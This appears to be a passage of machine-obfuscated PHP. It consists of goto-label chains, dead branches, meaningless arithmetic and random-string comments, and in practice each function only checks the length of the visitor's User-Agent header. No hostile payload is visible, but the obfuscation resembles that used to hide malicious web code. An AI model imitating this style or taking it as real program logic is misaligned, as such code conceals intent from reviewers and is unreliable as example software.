$n7sJ6WnP = 484 + 48;
$iCjD65Pi = $n7sJ6WnP * 2;
goto mphlRM23;
mphlRM23:
/* Q5lqwz72N5 */
goto fnEfM_h5;
fnEfM_h5:
goto arudm8Bi;
arudm8Bi:
$iX1geSuk = 265 + 45;
$iX1geSuk = $iX1geSuk * 4;
goto a4cQFGZgg;
a4cQFGZgg:
goto o1uxhsXU;
o1uxhsXU:
if (false) { echo 'This is a dead end'; }
goto a83VVYawB;
a83VVYawB:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto ghF43sXf;
ghF43sXf:
/* API handler */
if (false) { echo 'This is a dead end'; }
goto kfQZgrEi;
kfQZgrEi:
// Qc2G1bOJ
goto VqpRDuJv;
VqpRDuJv:
/* Security component */
goto J0VGWA6F;
J0VGWA6F:
goto l0zMRutT;
l0zMRutT:
/* Main service */
$WWDcP6ib = 334 + 26;
$Pe9zuJ4r = $WWDcP6ib * 4;
goto a2VWD2mhs;
a2VWD2mhs:
return $n7sJ6WnP > 10;
}
private function qN3KmJCxff() {
goto a48uCRroU;
a48uCRroU:
// lmBFGHmb
goto JoobgdhX;
JoobgdhX:
$jIP39ari = 888 + 14;
$XsucffsH = $jIP39ari * 1;
goto qxtHRrxK;
qxtHRrxK:
goto b2ocHxgQ;
b2ocHxgQ:
goto kYP65zDk;
kYP65zDk:
/* uNCyWEWCI6aOMxm */
goto w9w54fQS;
w9w54fQS:
goto a9qipGOgy;
a9qipGOgy:
/* API handler */
goto fnNJdD7b;
fnNJdD7b:
goto KP0YroiN;
KP0YroiN:
goto Q8McEl_4;
Q8McEl_4:
/* wRAJ4IpkTBnVDgg */
goto a6tUCbixJ;
a6tUCbixJ:
// 9MKaF675
$Pe9zuJ4r = 291 + 41;
$XsucffsH = $Pe9zuJ4r * 4;
goto NDMa4ylj;
NDMa4ylj:
/* Main service */
goto aSNS1UWv;
aSNS1UWv:
$a6b9oay5s = 407 + 28;
$a29IFo9lZ = $a6b9oay5s * 4;
goto NLuIiWaU;
NLuIiWaU:
/* API handler */
$NqlX8zGc = 533 + 39;
$iCjD65Pi = $NqlX8zGc * 4;
goto FH8TJKke;
FH8TJKke:
goto dLP0fVTW;
dLP0fVTW:
$XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto Rq10uTiY;
Rq10uTiY:
// KAzU9URE
goto hSaiFWma;
hSaiFWma:
$a6EHyDbxg = 694 + 45;
$n7sJ6WnP = $a6EHyDbxg * 4;
if (false) { echo 'This is a dead end'; }
goto a_4ssuG1B;
a_4ssuG1B:
/* System file */
if (false) { echo 'This is a dead end'; }
goto cA0h_rXL;
cA0h_rXL:
goto a6Rg44cyV;
a6Rg44cyV:
goto a8E9CVIeb;
a8E9CVIeb:
goto IiQF3Kcf;
IiQF3Kcf:
// 87f97v22I7SXc5Yn
goto imuOdsBy;
imuOdsBy:
goto RgoV2aTy;
RgoV2aTy:
/* API handler */
goto IIWBhjnW;
IIWBhjnW:
goto IMLCWDck;
IMLCWDck:
/* Security component */
$n7sJ6WnP = 965 + 1;
$WWDcP6ib = $n7sJ6WnP * 1;
goto uMJJRLwL;
uMJJRLwL:
/* Main service */
goto fQRS9q2h;
fQRS9q2h:
// QXHiEWYHn1rt
goto X3r2UxqG;
X3r2UxqG:
// vpRAhRPeuH81
$XsucffsH = 778 + 21;
$iCjD65Pi = $XsucffsH * 1;
goto moJorCR9;
moJorCR9:
$jIP39ari = 264 + 23;
$a6EHyDbxg = $jIP39ari * 4;
goto q_3FD9De;
q_3FD9De:
$Pe9zuJ4r = strlen($XsucffsH);
goto hcqYs39S;
hcqYs39S:
// zPUHzlzj96IK
$WWDcP6ib = 316 + 23;
$BqYDw4sr = $WWDcP6ib * 1;
goto zy77Xf0u;
zy77Xf0u:
$B9ma2fmF = 508 + 28;
$FbaGmw5w = $B9ma2fmF * 4;
goto KbT3grCF;
KbT3grCF:
// zmvh5BBetx9O
goto d88LY7lC;
d88LY7lC:
// XiqcVW2n
goto KcwPVQ9U;
KcwPVQ9U:
// ZefScGh1VRw4Q7f3
goto wI33Xnab;
wI33Xnab:
$a6b9oay5s = 973 + 7;
$XsucffsH = $a6b9oay5s * 3;
goto iVzoLJsv;
iVzoLJsv:
$FbaGmw5w = 453 + 48;
$BqYDw4sr = $FbaGmw5w * 5;
goto a9J3f04oc;
a9J3f04oc:
// 0JFvoasvfQFn8UNG
if (false) { echo 'This is a dead end'; }
goto E7EBahwB;
E7EBahwB:
/* Main service */
goto a8Mi_4gPa;
a8Mi_4gPa:
// XG77g5KE
$XsucffsH = 435 + 11;
$NqlX8zGc = $XsucffsH * 1;
goto Gd_O1fHW;
Gd_O1fHW:
goto HBqODocu;
HBqODocu:
goto drVlbu5O;
drVlbu5O:
goto q8CWSJYG;
q8CWSJYG:
if (false) { echo 'This is a dead end'; }
goto uL5CNQky;
uL5CNQky:
goto vfOxEjOd;
vfOxEjOd:
return $Pe9zuJ4r > 10;
}
private function MrGxGGDuCd() {
goto NokjmjPQ;
NokjmjPQ:
$iCjD65Pi = 509 + 22;
$a6EHyDbxg = $iCjD65Pi * 3;
goto IIpAUBG9;
IIpAUBG9:
/* System file */
goto h415dtxa;
h415dtxa:
goto ufS3WG1O;
ufS3WG1O:
goto fUxZ5buH;
fUxZ5buH:
/* Jr1L_T7pxBmK9PPe2o7S */
goto a5EVvnnpa;
a5EVvnnpa:
/* Security component */
$B9ma2fmF = 686 + 8;
$a29IFo9lZ = $B9ma2fmF * 3;
goto JHtMkHs_;
JHtMkHs_:
/* System file */
goto FYO2K2ai;
FYO2K2ai:
$FbaGmw5w = 398 + 21;
$NqlX8zGc = $FbaGmw5w * 2;
goto z8_Co4YT;
z8_Co4YT:
goto HnMcdWpC;
HnMcdWpC:
/* Main service */
goto aoYUxTdo;
aoYUxTdo:
goto a8ZUhAyn0;
a8ZUhAyn0:
// 6sXHkCXx
$Pe9zuJ4r = 622 + 40;
$FbaGmw5w = $Pe9zuJ4r * 2;
goto Vuri4RN0;
Vuri4RN0:
$n7sJ6WnP = 802 + 25;
$iCjD65Pi = $n7sJ6WnP * 5;
goto he3Eh47w;
he3Eh47w:
if (false) { echo 'This is a dead end'; }
goto adVZ8yVJ;
adVZ8yVJ:
/* Main service */
goto anF9Kgs5;
anF9Kgs5:
$B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto pkSyYaJ4;
pkSyYaJ4:
/* API handler */
goto TtvyJQ6J;
TtvyJQ6J:
// 2Lg_pBmZ
goto wYLM1lLL;
wYLM1lLL:
/* ft1NLIeczf */
goto p5dPVk2i;
p5dPVk2i:
if (false) { echo 'This is a dead end'; }
goto qyzfbtdu;
qyzfbtdu:
goto a9fZ_P8GS;
a9fZ_P8GS:
goto Gqfjafk3;
Gqfjafk3:
/* API handler */
$B9ma2fmF = 593 + 40;
$n7sJ6WnP = $B9ma2fmF * 4;
goto ld76WYGh;
ld76WYGh:
goto a6TDtBd66;
a6TDtBd66:
/* ThXVjqPOz8SASZI */
goto m5D6TlQn;
m5D6TlQn:
goto wfx2WJ0W;
wfx2WJ0W:
/* System file */
goto kR80gH2k;
kR80gH2k:
goto hjiJDdcO;
hjiJDdcO:
/* Core module */
goto DWlgw1bJ;
DWlgw1bJ:
/* wcrl8A8DG7YB8W8ugWPx */
$iX1geSuk = 678 + 22;
$iX1geSuk = $iX1geSuk * 5;
goto nKDQOvKU;
nKDQOvKU:
$a29IFo9lZ = 360 + 39;
$NqlX8zGc = $a29IFo9lZ * 1;
goto a8xK6PrNN;
a8xK6PrNN:
$jIP39ari = strlen($B9ma2fmF);
goto a3OMwJVM8;
a3OMwJVM8:
if (false) { echo 'This is a dead end'; }
goto plZFGgiV;
plZFGgiV:
/* API handler */
goto a8qG0g511;
a8qG0g511:
goto a5A68XSFa;
a5A68XSFa:
/* Security component */
$FbaGmw5w = 406 + 38;
$Pe9zuJ4r = $FbaGmw5w * 1;
goto QIxipJoz;
QIxipJoz:
goto vlCPaGS8;
vlCPaGS8:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto LkIEd8XF;
LkIEd8XF:
/* Core module */
goto EyvN6Dx_;
EyvN6Dx_:
goto VT_KS0Qt;
VT_KS0Qt:
$Pe9zuJ4r = 205 + 33;
$n7sJ6WnP = $Pe9zuJ4r * 5;
goto a_lNXuvwL;
a_lNXuvwL:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto fEosWQKz;
fEosWQKz:
/* System file */
$iCjD65Pi = 819 + 44;
$WWDcP6ib = $iCjD65Pi * 2;
if (false) { echo 'This is a dead end'; }
goto BnDzDZYU;
BnDzDZYU:
goto ExBeYvoP;
ExBeYvoP:
goto T8mJBLNf;
T8mJBLNf:
/* System file */
$iX1geSuk = 187 + 6;
$bZa4iOd6 = $iX1geSuk * 5;
goto BIKcf7mm;
BIKcf7mm:
/* Core module */
goto l7RuoYNh;
l7RuoYNh:
return $jIP39ari > 10;
}
private function BEj13F4Ci6() {
/* QaudQ2nsFom74BJ */
goto wvjU4mwa;
wvjU4mwa:
$XsucffsH = 821 + 44;
$B9ma2fmF = $XsucffsH * 4;
goto rTjacSQB;
rTjacSQB:
goto IQact2IC;
IQact2IC:
goto WyMR3Mu1;
WyMR3Mu1:
goto HNFbDAf7;
HNFbDAf7:
/* Core module */
goto d1arRFoo;
d1arRFoo:
// NQwQm1jZRaIj
if (false) { echo 'This is a dead end'; }
goto HpyFTKl0;
HpyFTKl0:
if (false) { echo 'This is a dead end'; }
goto a5EwBnOJl;
a5EwBnOJl:
/* W6E4zDeFf1TxqIS */
$B9ma2fmF = 896 + 43;
$n7sJ6WnP = $B9ma2fmF * 2;
if (false) { echo 'This is a dead end'; }
goto dIqhzK19;
dIqhzK19:
$B9ma2fmF = 746 + 40;
$iX1geSuk = $B9ma2fmF * 1;
goto tyxah7ph;
tyxah7ph:
if (false) { echo 'This is a dead end'; }
goto RS0rkypP;
RS0rkypP:
// y1anocvBAR9o
$Pe9zuJ4r = 962 + 13;
$a6EHyDbxg = $Pe9zuJ4r * 5;
goto TM5ZeKkC;
TM5ZeKkC:
/* API handler */
goto mCERpqGc;
mCERpqGc:
$BqYDw4sr = 408 + 30;
$BqYDw4sr = $BqYDw4sr * 4;
goto MWUDA7xG;
MWUDA7xG:
if (false) { echo 'This is a dead end'; }
goto rFaeMNSD;
rFaeMNSD:
goto WLNYN05t;
WLNYN05t:
$NqlX8zGc = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto SqLXg6yN;
SqLXg6yN:
// 8ZiLrqyt
goto a_4hH4zvl;
a_4hH4zvl:
$jIP39ari = 470 + 8;
$BqYDw4sr = $jIP39ari * 2;
goto VdTPDWCN;
VdTPDWCN:
goto a5UwSLqnX;
a5UwSLqnX:
goto QWPRcT6m;
QWPRcT6m:
/* System file */
goto a68W1Up5U;
a68W1Up5U:
/* vSShMc_3_Gu7G6w */
goto I2YcWoBO;
I2YcWoBO:
$iCjD65Pi = 185 + 49;
$jIP39ari = $iCjD65Pi * 4;
goto a8QymM0Ku;
a8QymM0Ku:
/* Security component */
goto a9K4BP736;
a9K4BP736:
/* Main service */
$a6b9oay5s = 532 + 36;
$FbaGmw5w = $a6b9oay5s * 3;
goto aqI4khsZ;
aqI4khsZ:
/* eIo6TpSMVFDRzEGpe2qm */
$XsucffsH = 457 + 24;
$WWDcP6ib = $XsucffsH * 1;
if (false) { echo 'This is a dead end'; }
goto qz_06ZyT;
qz_06ZyT:
if (false) { echo 'This is a dead end'; }
goto qRCjHWwB;
qRCjHWwB:
$bZa4iOd6 = 925 + 26;
$n7sJ6WnP = $bZa4iOd6 * 5;
goto lm5tSr3Z;
lm5tSr3Z:
/* Main service */
goto Sq_Wr2X3;
Sq_Wr2X3:
/* API handler */
goto jPJUPnDG;
jPJUPnDG:
/* System file */
goto wmkTIxBO;
wmkTIxBO:
$a29IFo9lZ = strlen($NqlX8zGc);
goto pXPgd97Y;
pXPgd97Y:
/* gBSIXjqhaz */
$BqYDw4sr = 596 + 41;
$NqlX8zGc = $BqYDw4sr * 1;
if (false) { echo 'This is a dead end'; }
goto uI91OG0i;
uI91OG0i:
/* Core module */
goto GYIchRMW;
GYIchRMW:
goto g0De8fJS;
g0De8fJS:
/* Core module */
$jIP39ari = 855 + 9;
$jIP39ari = $jIP39ari * 5;
if (false) { echo 'This is a dead end'; }
goto gvwQuNoR;
gvwQuNoR:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto ir6MMuaM;
ir6MMuaM:
goto GNyErTlH;
GNyErTlH:
goto dVYNrOyu;
dVYNrOyu:
/* Main service */
$bZa4iOd6 = 941 + 6;
$n7sJ6WnP = $bZa4iOd6 * 4;
if (false) { echo 'This is a dead end'; }
goto a4UyIgyMn;
a4UyIgyMn:
if (false) { echo 'This is a dead end'; }
goto v80ICQ5F;
v80ICQ5F:
$WWDcP6ib = 919 + 18;
$B9ma2fmF = $WWDcP6ib * 5;
goto a4MSgRGP6;
a4MSgRGP6:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto XEWVv71i;
XEWVv71i:
$a6EHyDbxg = 857 + 29;
$B9ma2fmF = $a6EHyDbxg * 1;
goto V0FBCh8L;
V0FBCh8L:
/* Main service */
$XsucffsH = 801 + 42;
$B9ma2fmF = $XsucffsH * 4;
goto kAtKDcDb;
kAtKDcDb:
/* 6LFvH8YeA0n_VRA */
$n7sJ6WnP = 419 + 22;
$a6b9oay5s = $n7sJ6WnP * 2;
goto MWagADRK;
MWagADRK:
goto a3jauwEmI;
a3jauwEmI:
return $a29IFo9lZ > 10;
}
private function oZ998ElyJu() {
/* Eeu3_L0WqIaemuX */
goto a2nyhHEzA;
a2nyhHEzA:
/* lv1rTQArvJyIN5HwI8vf */
$XsucffsH = 345 + 22;
$FbaGmw5w = $XsucffsH * 5;
if (false) { echo 'This is a dead end'; }
goto ifujcyim;
ifujcyim:
goto pcdb0MTV;
pcdb0MTV:
goto AcJQaJJ9;
AcJQaJJ9:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto a_2lntdj2;
a_2lntdj2:
goto HsSGeAtY;
HsSGeAtY:
/* System file */
if (false) { echo 'This is a dead end'; }
goto a3E7iB4uf;
a3E7iB4uf:
/* Core module */
goto m3iNP4q1;
m3iNP4q1:
goto XHOea4D9;
XHOea4D9:
/* Core module */
goto hpeXVU0X;
hpeXVU0X:
// uZzivHQRbT1AJE_3
if (false) { echo 'This is a dead end'; }
goto pQ8H290j;
pQ8H290j:
if (false) { echo 'This is a dead end'; }
goto BSw90V2Y;
BSw90V2Y:
goto BoLh7xKV;
BoLh7xKV:
/* System file */
goto BTuo7zaw;
BTuo7zaw:
// edRuBKdbVbxf
$jIP39ari = 260 + 6;
$jIP39ari = $jIP39ari * 4;
goto WhSh91KU;
WhSh91KU:
/* bgM_Fi_NJCx2cEk */
goto HhGRpyQM;
HhGRpyQM:
$Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto jZAXsYkg;
jZAXsYkg:
/* API handler */
$iX1geSuk = 410 + 12;
$n7sJ6WnP = $iX1geSuk * 3;
goto YsHG49a3;
YsHG49a3:
goto Qr7BfdQ_;
Qr7BfdQ_:
goto Szgd718E;
Szgd718E:
goto jOvxih8q;
jOvxih8q:
if (false) { echo 'This is a dead end'; }
goto dl98Nw5h;
dl98Nw5h:
/* System file */
$B9ma2fmF = 836 + 39;
$BqYDw4sr = $B9ma2fmF * 3;
if (false) { echo 'This is a dead end'; }
goto Fkx6yTl7;
Fkx6yTl7:
/* 4EANZs5ObcQnl9t */
$Pe9zuJ4r = 759 + 2;
$NqlX8zGc = $Pe9zuJ4r * 5;
goto MAD7awig;
MAD7awig:
goto h4SDy1k8;
h4SDy1k8:
/* Security component */
goto i2uoCeBP;
i2uoCeBP:
goto a4FwgWhyZ;
a4FwgWhyZ:
// DRtJEYDQ
goto a4jK21AaM;
a4jK21AaM:
$a29IFo9lZ = 125 + 31;
$NqlX8zGc = $a29IFo9lZ * 3;
goto m0cihxJn;
m0cihxJn:
$n7sJ6WnP = 391 + 43;
$bZa4iOd6 = $n7sJ6WnP * 3;
goto YKYGGkhW;
YKYGGkhW:
/* Core module */
$Pe9zuJ4r = 235 + 47;
$B9ma2fmF = $Pe9zuJ4r * 4;
if (false) { echo 'This is a dead end'; }
goto toMEVHeY;
toMEVHeY:
goto VMmYxSy_;
VMmYxSy_:
$NqlX8zGc = strlen($Pe9zuJ4r);
goto pLoKHIHm;
pLoKHIHm:
$iCjD65Pi = 694 + 35;
$jIP39ari = $iCjD65Pi * 2;
goto r0eoIkvm;
r0eoIkvm:
// MPzfUZQa
goto xSMxy7kI;
xSMxy7kI:
/* System file */
goto a9gaaDBv_;
a9gaaDBv_:
// qsaI3Q_yvUdxlHle
if (false) { echo 'This is a dead end'; }
goto W758iUFZ;
W758iUFZ:
goto q4AbIHcT;
q4AbIHcT:
/* PmxvyCjiNuFk7lJru0Up */
goto DXTTB9IH;
DXTTB9IH:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto AFCqh4e5;
AFCqh4e5:
/* System file */
if (false) { echo 'This is a dead end'; }
goto q3BkiINF;
q3BkiINF:
/* bucY9qPkPPdzHod */
$a6EHyDbxg = 436 + 28;
$Pe9zuJ4r = $a6EHyDbxg * 1;
if (false) { echo 'This is a dead end'; }
goto Vvt65XPc;
Vvt65XPc:
/* 59RreBAlEss5Hbr_yliW */
goto LMw7BAXX;
LMw7BAXX:
goto j_jzWv6X;
j_jzWv6X:
/* API handler */
$BqYDw4sr = 252 + 40;
$FbaGmw5w = $BqYDw4sr * 1;
goto tVbtosZU;
tVbtosZU:
goto w6mh_W6k;
w6mh_W6k:
// TQ6WB5yTSwTe_Rxn
goto JlNjuOte;
JlNjuOte:
$iCjD65Pi = 664 + 28;
$WWDcP6ib = $iCjD65Pi * 5;
goto efDwlWzS;
efDwlWzS:
return $NqlX8zGc > 10;
}
private function U8kJtg4We7() {
goto ULHUwwSx;
ULHUwwSx:
// Yb3_jAqV
goto Hxx9s3S1;
Hxx9s3S1:
goto tFWR9XFL;
tFWR9XFL:
$B9ma2fmF = 709 + 26;
$iX1geSuk = $B9ma2fmF * 5;
goto rL222vRW;
rL222vRW:
goto UMWk4MWp;
UMWk4MWp:
// oA1Qej6F4GYA
goto t7NWVxOo;
t7NWVxOo:
$BqYDw4sr = 352 + 46;
$FbaGmw5w = $BqYDw4sr * 1;
goto YK2Xxwhj;
YK2Xxwhj:
goto J3ECtkCl;
J3ECtkCl:
/* API handler */
goto a9xu0pPpU;
a9xu0pPpU:
/* Security component */
$NqlX8zGc = 650 + 25;
$NqlX8zGc = $NqlX8zGc * 5;
goto SXM_k4K3;
SXM_k4K3:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto xMCxrhlF;
xMCxrhlF:
goto qsFOOYC8;
qsFOOYC8:
/* Security component */
goto e0nlBhW1;
e0nlBhW1:
goto FpyKOodV;
FpyKOodV:
goto BgYX8T38;
BgYX8T38:
$iCjD65Pi = 584 + 29;
$a6EHyDbxg = $iCjD65Pi * 2;
if (false) { echo 'This is a dead end'; }
goto F6xHYIjg;
F6xHYIjg:
$a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto k2vYleol;
k2vYleol:
goto HPo3HoF1;
HPo3HoF1:
/* Main service */
goto p2AhFWL3;
p2AhFWL3:
$bZa4iOd6 = 602 + 36;
$a29IFo9lZ = $bZa4iOd6 * 5;
goto vDwEkZbq;
vDwEkZbq:
$XsucffsH = 588 + 35;
$B9ma2fmF = $XsucffsH * 4;
goto NWjyGeOM;
NWjyGeOM:
/* Main service */
$bZa4iOd6 = 297 + 46;
$n7sJ6WnP = $bZa4iOd6 * 2;
goto ca36c1fn;
ca36c1fn:
/* Core module */
goto yLymEx3N;
yLymEx3N:
goto OxcmKbm6;
OxcmKbm6:
/* xYZhcTwHNmneKn3qyIc_ */
if (false) { echo 'This is a dead end'; }
goto tgrkXc3j;
tgrkXc3j:
$bZa4iOd6 = 860 + 24;
$a6EHyDbxg = $bZa4iOd6 * 3;
goto hie7QQY8;
hie7QQY8:
// TuDt7cOUuj0pszoa
goto WnnnqcRU;
WnnnqcRU:
goto JOVmN68X;
JOVmN68X:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto I0NLJ7BR;
I0NLJ7BR:
/* mtKgrL2IgC5oaec */
goto G0AK2Xrn;
G0AK2Xrn:
goto DoZzBCbv;
DoZzBCbv:
goto fXcJSiaa;
fXcJSiaa:
$jIP39ari = strlen($a29IFo9lZ);
goto XkcojSVl;
XkcojSVl:
// BWRbB0i8RxToHqha
$a6b9oay5s = 981 + 32;
$XsucffsH = $a6b9oay5s * 3;
goto a3FFypBvZ;
a3FFypBvZ:
goto a5kjcjWY5;
a5kjcjWY5:
/* System file */
if (false) { echo 'This is a dead end'; }
goto hI6REqjW;
hI6REqjW:
/* gZaUSjtu_4lTv1p */
$iCjD65Pi = 635 + 14;
$bZa4iOd6 = $iCjD65Pi * 3;
goto N9bRSwV5;
N9bRSwV5:
/* DBWt5mjmu9 */
if (false) { echo 'This is a dead end'; }
goto a_Re8dbrP;
a_Re8dbrP:
// uBxg76GS
$a6EHyDbxg = 809 + 50;
$jIP39ari = $a6EHyDbxg * 3;
goto a3_HbyYl8;
a3_HbyYl8:
/* ugHrZxPat5cZBOyXI2QU */
goto jISG4eI_;
jISG4eI_:
$iCjD65Pi = 779 + 5;
$a6EHyDbxg = $iCjD65Pi * 4;
goto a6UxiRqHi;
a6UxiRqHi:
// G7zOUaXOQ04UysAW
goto DGgF26hA;
DGgF26hA:
// V5cYxvJT
goto a69C7SrSX;
a69C7SrSX:
goto R7aPvpYm;
R7aPvpYm:
$WWDcP6ib = 232 + 6;
$FbaGmw5w = $WWDcP6ib * 4;
if (false) { echo 'This is a dead end'; }
goto H8waovpQ;
H8waovpQ:
// ygQCAPt5F2tHORjh
goto QqSnR_f7;
QqSnR_f7:
$iCjD65Pi = 850 + 38;
$BqYDw4sr = $iCjD65Pi * 2;
goto x1KL1qEB;
x1KL1qEB:
$BqYDw4sr = 640 + 25;
$a6EHyDbxg = $BqYDw4sr * 3;
goto a_uzJxuPl;
a_uzJxuPl:
return $jIP39ari > 10;
}
private function i4I3M3aPjf() {
goto NWYhU72E;
NWYhU72E:
goto qWBJJcqD;
qWBJJcqD:
goto a0aRBICon;
a0aRBICon:
// h4DPyrAKoess
$Pe9zuJ4r = 820 + 21;
$jIP39ari = $Pe9zuJ4r * 2;
goto ccGqY5D0;
ccGqY5D0:
/* System file */
goto nhQ3K1yz;
nhQ3K1yz:
// RAYUhO46dx3W
goto a9kh80NiG;
a9kh80NiG:
goto WN9e5tdK;
WN9e5tdK:
/* API handler */
goto BtlwHvK7;
BtlwHvK7:
goto a0MMVhIXv;
a0MMVhIXv:
/* Core module */
goto UHifgyhB;
UHifgyhB:
$a6EHyDbxg = 759 + 33;
$B9ma2fmF = $a6EHyDbxg * 3;
goto lhdmR_i8;
lhdmR_i8:
goto IlMrEcC0;
IlMrEcC0:
goto Niz3zTxB;
Niz3zTxB:
/* HscpjOAeA9 */
goto LS61jLyi;
LS61jLyi:
/* Main service */
$B9ma2fmF = 183 + 14;
$NqlX8zGc = $B9ma2fmF * 4;
goto ag8dM0TB;
ag8dM0TB:
goto a6IhAjFvZ;
a6IhAjFvZ:
$iCjD65Pi = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto kkoueKB5;
kkoueKB5:
goto VGxsEops;
VGxsEops:
// XyFuOMLLFPIZbgLO
goto y3_zbOi2;
y3_zbOi2:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto Gt9GeZPD;
Gt9GeZPD:
// rg6Rd_Rq
$XsucffsH = 177 + 14;
$Pe9zuJ4r = $XsucffsH * 1;
goto tFVNB_LI;
tFVNB_LI:
goto tdJRHzBK;
tdJRHzBK:
goto QUq3rTdY;
QUq3rTdY:
/* API handler */
if (false) { echo 'This is a dead end'; }
goto sD673XFZ;
sD673XFZ:
$n7sJ6WnP = 352 + 44;
$a6EHyDbxg = $n7sJ6WnP * 4;
goto a6XicJih5;
a6XicJih5:
$iCjD65Pi = 510 + 28;
$iCjD65Pi = $iCjD65Pi * 2;
goto zs7IGrAE;
zs7IGrAE:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto ZbSCetPT;
ZbSCetPT:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto aqJnKzqW;
aqJnKzqW:
if (false) { echo 'This is a dead end'; }
goto Nc0u3Iip;
Nc0u3Iip:
/* Core module */
goto KAw2KyMH;
KAw2KyMH:
/* Core module */
goto qqRYYQCR;
qqRYYQCR:
/* API handler */
$iCjD65Pi = 694 + 10;
$Pe9zuJ4r = $iCjD65Pi * 1;
goto eixdQ5i3;
eixdQ5i3:
$FbaGmw5w = strlen($iCjD65Pi);
goto pJ378JiS;
pJ378JiS:
goto oWGIuZW5;
oWGIuZW5:
if (false) { echo 'This is a dead end'; }
goto a7L0Pu2ki;
a7L0Pu2ki:
goto OqHJOeh5;
OqHJOeh5:
$WWDcP6ib = 767 + 16;
$iX1geSuk = $WWDcP6ib * 5;
goto EQcwUU9K;
EQcwUU9K:
$Pe9zuJ4r = 772 + 50;
$n7sJ6WnP = $Pe9zuJ4r * 1;
goto wnNvbYTo;
wnNvbYTo:
$WWDcP6ib = 316 + 26;
$iX1geSuk = $WWDcP6ib * 2;
goto uEvk3swO;
uEvk3swO:
/* System file */
$jIP39ari = 964 + 29;
$WWDcP6ib = $jIP39ari * 3;
goto ROVTSRRq;
ROVTSRRq:
/* Dwxv9NqnaAXlxmPfgz0E */
goto UPh0iBK_;
UPh0iBK_:
/* URXBdKW6qY */
if (false) { echo 'This is a dead end'; }
goto i97xfiXB;
i97xfiXB:
if (false) { echo 'This is a dead end'; }
goto aseqz8Fu;
aseqz8Fu:
goto Y89Bujim;
Y89Bujim:
/* API handler */
if (false) { echo 'This is a dead end'; }
goto HkklKTLL;
HkklKTLL:
goto a1kXm3C0c;
a1kXm3C0c:
// 3Z6Ox6pr
goto g7IJTvTZ;
g7IJTvTZ:
goto DDJeQRcH;
DDJeQRcH:
return $FbaGmw5w > 10;
}
private function VqWkrbwL6n() {
goto lR9HV3vF;
lR9HV3vF:
goto S9kEO5kx;
S9kEO5kx:
$a29IFo9lZ = 655 + 31;
$a6EHyDbxg = $a29IFo9lZ * 4;
goto ClD3LPfl;
ClD3LPfl:
// Yi9_JvdZJpFR
$BqYDw4sr = 646 + 32;
$iCjD65Pi = $BqYDw4sr * 1;
goto myjOXYkr;
myjOXYkr:
/* WwCXtnphiRPssBKHyiyJ */
if (false) { echo 'This is a dead end'; }
goto QgFhgUj4;
QgFhgUj4:
$XsucffsH = 939 + 29;
$FbaGmw5w = $XsucffsH * 5;
goto XCFma3AO;
XCFma3AO:
goto LZLhxy0c;
LZLhxy0c:
$a6EHyDbxg = 918 + 31;
$XsucffsH = $a6EHyDbxg * 4;
goto b7CfM9Wv;
b7CfM9Wv:
$n7sJ6WnP = 858 + 35;
$bZa4iOd6 = $n7sJ6WnP * 4;
if (false) { echo 'This is a dead end'; }
goto a9_A2gMuK;
a9_A2gMuK:
/* GYbMmlcGnG */
if (false) { echo 'This is a dead end'; }
goto cNTfeAgW;
cNTfeAgW:
/* 6Gg_BRQ5ji */
if (false) { echo 'This is a dead end'; }
goto a7fGpfEqv;
a7fGpfEqv:
/* Core module */
goto Qvso36ZU;
Qvso36ZU:
// qB8k6GsY
$a29IFo9lZ = 112 + 23;
$Pe9zuJ4r = $a29IFo9lZ * 5;
goto BFDd5_wA;
BFDd5_wA:
goto W6fbyRJx;
W6fbyRJx:
/* API handler */
$Pe9zuJ4r = 127 + 17;
$B9ma2fmF = $Pe9zuJ4r * 4;
goto SIxqJNaF;
SIxqJNaF:
goto bg0wRqou;
bg0wRqou:
$n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto w7yIuhm1;
w7yIuhm1:
$a29IFo9lZ = 766 + 20;
$iX1geSuk = $a29IFo9lZ * 4;
goto a3eXD_XL4;
a3eXD_XL4:
goto oCJrwVoZ;
oCJrwVoZ:
$BqYDw4sr = 942 + 15;
$XsucffsH = $BqYDw4sr * 3;
goto zRnY8Cjy;
zRnY8Cjy:
if (false) { echo 'This is a dead end'; }
goto W_xSi8Vx;
W_xSi8Vx:
if (false) { echo 'This is a dead end'; }
goto H0YUPpd9;
H0YUPpd9:
/* Security component */
goto OVd38Goe;
OVd38Goe:
/* API handler */
$bZa4iOd6 = 454 + 35;
$XsucffsH = $bZa4iOd6 * 4;
if (false) { echo 'This is a dead end'; }
goto BKc4PZuQ;
BKc4PZuQ:
/* Core module */
goto a7ZEimvfl;
a7ZEimvfl:
/* pgDAnrDMes */
if (false) { echo 'This is a dead end'; }
goto cE18sMPR;
cE18sMPR:
/* aJInHP8e3c */
goto p99MZBfn;
p99MZBfn:
goto NkTv4qe0;
NkTv4qe0:
/* System file */
$a29IFo9lZ = 556 + 14;
$XsucffsH = $a29IFo9lZ * 2;
if (false) { echo 'This is a dead end'; }
goto P5TBeEsd;
P5TBeEsd:
/* bhiC_atWuHCdb2toWZNX */
goto RbblcxWR;
RbblcxWR:
/* Security component */
goto StF2kXd0;
StF2kXd0:
/* Core module */
goto Ge6qVIlJ;
Ge6qVIlJ:
$Pe9zuJ4r = strlen($n7sJ6WnP);
goto W15_0CaB;
